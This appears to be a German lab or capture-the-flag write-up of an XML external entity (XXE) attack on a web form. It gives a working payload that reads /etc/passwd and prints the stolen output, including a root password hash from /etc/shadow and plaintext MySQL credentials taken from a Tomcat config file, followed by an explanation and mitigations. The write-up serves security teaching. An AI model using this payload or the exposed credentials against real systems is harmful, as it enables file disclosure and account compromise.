edit

2600 Web Security: XML Path Traversal

Vorgehen

  • Die Website schickt die Eingaben als XML-Dokument an den Server

  • Die Antwort beinhaltet das query-Objekt, das wir schicken

  • Mit einer XXE-Attacke können wir versuchen, ein File vom System in den Request zu schreiben, das bei der Antwort vom Server mitgeschickt wird:
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE query [<!ENTITY getme SYSTEM "/etc/passwd">]>
<query>
    <result-limit>1</result-limit>
    <bell-name>bla</bell-name>
    <bell-description>&getme;</bell-description>
</query>
  • Antwort:

  • So haben wir den Inhalt von /etc/passwd. Genau gleich können wir die anderen Files auslesen
  • /etc/shadow
root:$1$HwRrL3RY$9lRscANn8FK46LdzJEoa9.:15988:0:99999:7:::
daemon:*:13035:0:99999:7:::
bin:*:13035:0:99999:7:::
sys:*:13035:0:99999:7:::
sync:*:13035:0:99999:7:::
games:*:13035:0:99999:7:::
man:*:13035:0:99999:7:::
lp:*:13035:0:99999:7:::
mail:*:13035:0:99999:7:::
news:*:13035:0:99999:7:::
uucp:*:13035:0:99999:7:::
proxy:*:13035:0:99999:7:::
...
  • Das Root-Verzeichnis /:
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
opt
proc
root
sbin
selinux
srv
sys
tmp
usr
var
vmlinuz
  • Inhalt von /opt/applic
...
myca
mysql
mysql_old
mysql-5.0.51a
mysql-standard-4.0.26-pc-linux-gnu-i686
...
tomcat
vmware
  • Inhalt von /opt/applic/tomcat/webapps.properties/
...
mail.properties
mysql.hr.properties
mysql.properties
...
  • Inhalt von /opt/applic/tomcat/webapps.properties/mysql.properties
# MYSQL PROPERTIES - TIME IN SECONDS
################################################################
mysql.driver        = org.gjt.mm.mysql.Driver

mysql.username      = glockenemil
mysql.password      = Nt88,.po

mysql.bells.url     = jdbc:mysql://127.0.0.1:5506/glocken_emil?autoDeserialize=true
mysql.login.url     = jdbc:mysql://127.0.0.1:5506/login
mysql.session.url   = jdbc:mysql://127.0.0.1:5506/sessionservice

mysql.session.testquery =
mysql.login.testquery   =
mysql.bells.testquery   =

mysql.connections.max               = 100 
mysql.connections.min               = 10 
mysql.connections.increaserate      = 2 
mysql.connections.timeout           = 120
mysql.connections.maxage            = 900


# LOGIN TABLE DEFS
#################################################################
mysql.tblLogin      = users

mysql.fldAdditionalTime = additionaltime
mysql.fldReleaseTime    = releasetime
mysql.fldUsername   = username
mysql.fldTries      = tries
contactForm = no
  • So haben wir die Credentials vom SQL-Benutzer gefunden, womit der Tomcat connected: glockenemil, Nt88,.po

Security Problem

  • Der Server spielt hier XML-Generator: Er liest unsere DTD-Definition und sucht auf dem Filesystem nach dem Namen (z.B. /etc/shadow), was eigentlich eine DTD-Definition sein sollte. Das XML wird an uns zurück gegeben mit dem Inhalt der Datei
  • Der Prozess des Webservers scheint Lesezugriff auf das gesamte System zu haben

Mitigation

  • Rechte des Server-Prozesses einschränken, dass er nur Lese-Zugriff auf das nötigste hat
  • XML-Parser konfigurieren, dass nicht eine beliebige Datei, sondern nur valide XML-Schemata eingelesen wird
  • z.B. mit einer WAF solche Entity Injections komplett heraus filtern / blockieren